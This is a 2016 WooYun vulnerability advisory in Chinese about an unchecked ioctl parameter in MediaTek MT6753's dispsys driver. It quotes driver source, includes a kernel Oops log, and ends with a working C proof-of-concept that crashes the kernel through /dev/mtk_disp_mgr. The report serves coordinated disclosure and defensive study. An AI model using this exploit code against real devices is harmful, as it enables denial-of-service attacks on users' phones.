当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0178377

漏洞标题:MTK MT6753 dispsys驱动指针参数未过滤漏洞

相关厂商:Mediatek

漏洞作者: 唐朝实验室

提交时间:2016-02-24 22:30

修复时间:2016-05-26 19:30

公开时间:2016-05-26 19:30

漏洞类型:设计错误/逻辑缺陷

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-24: 细节已通知厂商并且等待厂商处理中
2016-02-26: 厂商已经确认,细节仅向厂商公开
2016-02-29: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-21: 细节向核心白帽子及相关领域专家公开
2016-05-01: 细节向普通白帽子公开
2016-05-11: 细节向实习白帽子公开
2016-05-26: 细节向公众公开

简要描述:

MTK dispsys驱动未对传入参数进行有效过滤导致内核崩溃。

详细说明:

实测以魅蓝Note2为例,该问题可能存在于其他MTK系列中。本文代码以MediaTek-HelioX10-Kernel为例。
MTK dispsys驱动通过/dev/mtk_disp_mgr设备文件和用户态应用通信,由于未进行有效过滤导致内核崩溃。
驱动在处理DISP_IOCTL_WRITE_REG请求时,会接受长度为12字节的参数,结构如下:

typedef struct
{
unsigned int reg;
unsigned int val;
unsigned int mask;
} DISP_WRITE_REG;


之后会在_color_io函数中进行如下操作:

static int _color_io(DISP_MODULE_ENUM module, int msg, unsigned long arg, void *cmdq)
{
...
case DISP_IOCTL_WRITE_REG:
{
DISP_WRITE_REG wParams;
unsigned int ret;
unsigned long va;
unsigned int pa;
if(copy_from_user(&wParams, (void *)arg, sizeof(DISP_WRITE_REG)))
{
COLOR_ERR("DISP_IOCTL_WRITE_REG, copy_from_user failed\n");
return -EFAULT;
}
pa = (unsigned int)wParams.reg;
va = color_pa2va(pa);
ret = color_is_reg_addr_valid(va);
if(ret == 0)
{
COLOR_ERR("reg write, addr invalid, pa:0x%x(va:0x%lx) \n", pa, va);
return -EFAULT;
}
// if TDSHP, write PA directly
if (ret == 2)
{
if(cmdq == NULL)
{
mt_reg_sync_writel((unsigned int)(INREG32(va)&~(wParams.mask))|(wParams.val),(volatile unsigned long*)(va) );\
}
else
{
//cmdqRecWrite(cmdq, TDSHP_PA_BASE + (wParams.reg - g_tdshp_va), wParams.val, wParams.mask);
cmdqRecWrite(cmdq, pa, wParams.val, wParams.mask);
}
}
else
{
_color_reg_mask(cmdq, va, wParams.val, wParams.mask);
}
COLOR_NLOG("write pa:0x%x(va:0x%lx) = 0x%x (0x%x)\n", pa, va, wParams.val, wParams.mask);
break;


首先会通过color_pa2va函数进行地址转换,如果传入的wParams.reg为0或者为不存在的pa, 会返回0。

static unsigned long color_pa2va(unsigned int addr)
{
unsigned int i=0;
// check disp module
for (i = 0; i < DISP_REG_NUM; i++)
{
if((addr >= ddp_reg_pa_base[i]) &&
(addr < (ddp_reg_pa_base[i] + 0x1000)))
{
COLOR_DBG("color_pa2va(), COLOR PA:0x%x, PABase[0x%x], VABase[0x%lx] \n", addr, ddp_reg_pa_base[i], dispsys_reg[i]);
return dispsys_reg[i] + (addr - ddp_reg_pa_base[i]);
}
}
// TDSHP
if ((TDSHP_PA_BASE <= addr) &&
(addr < (TDSHP_PA_BASE + 0x1000)))
{
COLOR_DBG("color_pa2va(), TDSHP PA:0x%x, PABase[0x%x], VABase[0x%lx] \n", addr, TDSHP_PA_BASE, g_tdshp_va);
return g_tdshp_va + (addr - TDSHP_PA_BASE);
}
// TDSHP1
if ((TDSHP1_PA_BASE <= addr) &&
(addr < (TDSHP1_PA_BASE + 0x1000)))
{
COLOR_DBG("color_pa2va(), TDSHP1 PA:0x%x, PABase[0x%x], VABase[0x%lx] \n", addr, TDSHP1_PA_BASE, g_tdshp1_va);
return g_tdshp1_va + (addr - TDSHP1_PA_BASE);
}
COLOR_ERR("color_pa2va(), NO FOUND VA!! PA:0x%x, PABase[0x%x], VABase[0x%lx] \n", addr, ddp_reg_pa_base[0], dispsys_reg[0]);
return 0;
}


如果color_is_reg_addr_valid返回1,会将用户控制的wParams参数传入_color_reg_mask函数中。
由于dispsys_reg[x]在灭屏时会含有0值,color_is_reg_addr_valid函数实际会返回1。并将用户提供的DISP_WRITE_REG参数传入_color_reg_mask引起内核崩溃,例如空指针或者内存对齐(需要DISP_WRITE_REG.reg在TDSHP_PA_BASE或者TDSHP1_PA_BASE区间中)引起的Oops。

static unsigned int color_is_reg_addr_valid(unsigned long addr)
{
unsigned int i=0;
for (i = 0; i < DISP_REG_NUM; i++)
{
if((addr >= dispsys_reg[i]) &&
(addr < (dispsys_reg[i] + 0x1000)))
{
break;
}
}
if(i < DISP_REG_NUM)
{
COLOR_DBG("addr valid, addr=0x%lx, module=%s!\n", addr, ddp_get_reg_module_name(i));
return 1;
}
else
{
// check if TDSHP base address
if((addr >= g_tdshp_va) &&
(addr < (g_tdshp_va + 0x1000))) // TDSHP0
{
COLOR_DBG("addr valid, addr=0x%lx, module=%s!\n", addr, "TDSHP0");
return 2;
}
else if((addr >= g_tdshp1_va) &&
(addr < (g_tdshp1_va + 0x1000))) // TDSHP1
{
COLOR_DBG("addr valid, addr=0x%lx, module=%s!\n", addr, "TDSHP1");
return 2;
}
else
{
COLOR_ERR("invalid address! addr=0x%lx!\n", addr);
return 0;
}
}
}


Oops日志:

[ 2866.223412]<1> (1)[9502:mtk_disp_mgr][COLOR] write pa:0x1400a000(va:0xffffff8000332000) = 0x0 (0xffffffff)
[ 2866.223412]<1>
[ 2866.223448]<1> (1)[9502:mtk_disp_mgr]Unhandled fault: alignment fault (0x96000021) at 0xffffff8000332001
[ 2866.223463]<1> (1)[9502:mtk_disp_mgr][KERN Warning] ERROR/WARN forces debug_lock off!
[ 2866.223473]<1> (1)[9502:mtk_disp_mgr][KERN Warning] check backtrace:
[ 2866.223489]<1> (1)[9502:mtk_disp_mgr]CPU: 1 PID: 9502 Comm: mtk_disp_mgr Tainted: G W 3.10.65 #1
[ 2866.223500]<1> (1)[9502:mtk_disp_mgr]Call trace:
[ 2866.223533]<1> (1)[9502:mtk_disp_mgr][<ffffffc000088f50>] dump_backtrace+0x0/0x16c
[ 2866.223550]<1> (1)[9502:mtk_disp_mgr][<ffffffc0000890cc>] show_stack+0x10/0x1c
[ 2866.223567]<1> (1)[9502:mtk_disp_mgr][<ffffffc0009cf7f4>] dump_stack+0x1c/0x28
[ 2866.223585]<1> (1)[9502:mtk_disp_mgr][<ffffffc000320690>] debug_locks_off+0x40/0x5c
[ 2866.223602]<1> (1)[9502:mtk_disp_mgr][<ffffffc00009c400>] oops_enter+0xc/0x28
[ 2866.223618]<1> (1)[9502:mtk_disp_mgr][<ffffffc000089100>] die+0x28/0x1d8
[ 2866.223635]<1> (1)[9502:mtk_disp_mgr][<ffffffc0000892c8>] arm64_notify_die+0x18/0x44
[ 2866.223650]<1> (1)[9502:mtk_disp_mgr][<ffffffc000081454>] do_mem_abort+0x90/0x98
[ 2866.223663]<1> (1)[9502:mtk_disp_mgr]Exception stack(0xffffffc0760d3b30 to 0xffffffc0760d3d04)
[ 2866.223679]<1> (1)[9502:mtk_disp_mgr]3b20: 00332001 ffffff80 760d0000 ffffffc0
[ 2866.223741]<1> (1)[9502:mtk_disp_mgr]3b40: 760d3cf0 ffffffc0 00456fac ffffffc0 00000007 00000000 00030001 00000000
[ 2866.223780]<1> (1)[9502:mtk_disp_mgr]3b60: 00332001 ffffff80 00000000 00000000 760d3b80 ffffffc0 009dc374 ffffffc0
[ 2866.223853]<1> (1)[9502:mtk_disp_mgr]3b80: 760d3ba0 ffffffc0 009dc7d0 ffffffc0 760d3ba0 ffffffc0 009dc858 ffffffc0
[ 2866.223872]<1> (1)[9502:mtk_disp_mgr]3ba0: 760d3bb0 ffffffc0 000c6578 ffffffc0 760d3bd0 ffffffc0 0009e134 ffffffc0
[ 2866.223889]<1> (1)[9502:mtk_disp_mgr]3bc0: 00dd64c8 ffffffc0 00dd6000 ffffffc0 00000000 00000000 00332001 ffffff80
[ 2866.223905]<1> (1)[9502:mtk_disp_mgr]3be0: 00000000 00000000 ffffffff 00000000 00332000 ffffff80 00000140 00000000
[ 2866.223921]<1> (1)[9502:mtk_disp_mgr]3c00: 00000000 00000000 00000000 00000000 00040007 00000000 00000140 00000000
[ 2866.223938]<1> (1)[9502:mtk_disp_mgr]3c20: 00000000 00000000 ffed92ac 00000000 00000003 00000000 ffed9240 00000000
[ 2866.223954]<1> (1)[9502:mtk_disp_mgr]3c40: f6fa153d 00000000 00000000 00000000 001de864 ffffffc0 00000d0c 00000000
[ 2866.223971]<1> (1)[9502:mtk_disp_mgr]3c60: 000094c4 00000000 00332001 ffffff80 ffffffff 00000000 00000000 00000000
[ 2866.223986]<1> (1)[9502:mtk_disp_mgr]3c80: 00000000 00000000 00efd000 ffffffc0 00000000 00000000 00000180 00000000
[ 2866.224003]<1> (1)[9502:mtk_disp_mgr]3ca0: 00000036 00000000 0008f000 ffffffc0 760d0000 ffffffc0 760d3cf0 ffffffc0
[ 2866.224020]<1> (1)[9502:mtk_disp_mgr]3cc0: 00456f2c ffffffc0 760d3cf0 ffffffc0 00456fac ffffffc0 80000145 00000000
[ 2866.224037]<1> (1)[9502:mtk_disp_mgr]3ce0: 760d3d00 ffffffc0 0018d53c ffffffc0 760d3d20 ffffffc0 00459054 ffffffc0
[ 2866.224049]<1> (1)[9502:mtk_disp_mgr]3d00: 760d3d68
[ 2866.224064]<1> (1)[9502:mtk_disp_mgr][<ffffffc000083c58>] el1_da+0x1c/0x88
[ 2866.224083]<1> (1)[9502:mtk_disp_mgr][<ffffffc000459050>] _color_io+0xe38/0x13ac
[ 2866.224103]<1> (1)[9502:mtk_disp_mgr][<ffffffc00048606c>] dpmgr_path_user_cmd+0x23c/0x3f4
[ 2866.224120]<1> (1)[9502:mtk_disp_mgr][<ffffffc000499344>] primary_display_user_cmd+0xd4/0x1d8
[ 2866.224139]<1> (1)[9502:mtk_disp_mgr][<ffffffc0004a93e8>] mtk_disp_mgr_ioctl+0x44c/0x534
[ 2866.224156]<1> (1)[9502:mtk_disp_mgr][<ffffffc0004a94d8>] mtk_disp_mgr_compat_ioctl+0x8/0x14
[ 2866.224174]<1> (1)[9502:mtk_disp_mgr][<ffffffc0001de914>] compat_sys_ioctl+0xb0/0x13d0
[ 2866.224188]<1>-(1)[9502:mtk_disp_mgr]Internal error: : 96000021 [#1] PREEMPT SMP

漏洞证明:

#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <linux/types.h>
#include <linux/ioctl.h>
#define MY_IOCPARM_MASK 0x1fff /* parameter length, at most 13 bits */
#define MY_IOC(inout,group,num,len) \
(inout | ((len & MY_IOCPARM_MASK) << 16) | ((group) << 8) | (num))
typedef struct
{
unsigned int reg;
unsigned int val;
unsigned int mask;
} DISP_WRITE_REG;
#define DISP_IOCTL_MAGIC 'x'
#define DISP_IOCTL_WRITE_REG _IOW (DISP_IOCTL_MAGIC, 1, DISP_WRITE_REG) // also defined in atci_pq_cmd.h
#define TDSHP_PA_BASE 0x14009000
#define TDSHP1_PA_BASE 0x1400A000
int main(int argc, char *argv[])
{
char *dev_path;
int fd;
int ret;
unsigned long vaddr;
unsigned int io_code = 0;
unsigned long pa_start;
unsigned long mmap_size = 4096;
DISP_WRITE_REG *disp_write_reg;

if (argc < 2) {
dev_path = "/dev/mtk_disp_mgr";
} else {
dev_path = argv[1];
}
fd = open(dev_path, O_RDWR);
if (fd < 0) {
printf("[-] Open %s failed %s\n", dev_path, strerror(errno));
return -1;
}
printf("[+] Open %s ok\n", dev_path);
vaddr = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0);
if (vaddr == MAP_FAILED) {
printf("[-] mmap failed\n");
return -1;
}
memset(vaddr, 0, mmap_size);
disp_write_reg = (DISP_WRITE_REG *) vaddr;
io_code = MY_IOC(0x40000000, DISP_IOCTL_MAGIC, 1, sizeof(DISP_WRITE_REG));
for (pa_start = TDSHP1_PA_BASE; pa_start < TDSHP1_PA_BASE + 0x1000; pa_start++ ) {
disp_write_reg->reg = pa_start;
disp_write_reg->val = 0;
disp_write_reg->mask = 0xffffffff;
ret = ioctl(fd, io_code, vaddr);
}
close(fd);
return 0;
}

修复方案:

对传入参数进行过滤

版权声明:转载请注明来源 唐朝实验室@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-02-26 19:26

厂商回复:

CNVD未直接复现所述漏洞情况,暂未建立与软件生产厂商的直接处置渠道,待认领。

最新状态:

2016-03-01:最新状态:CNVD未直接复现所述漏洞情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置。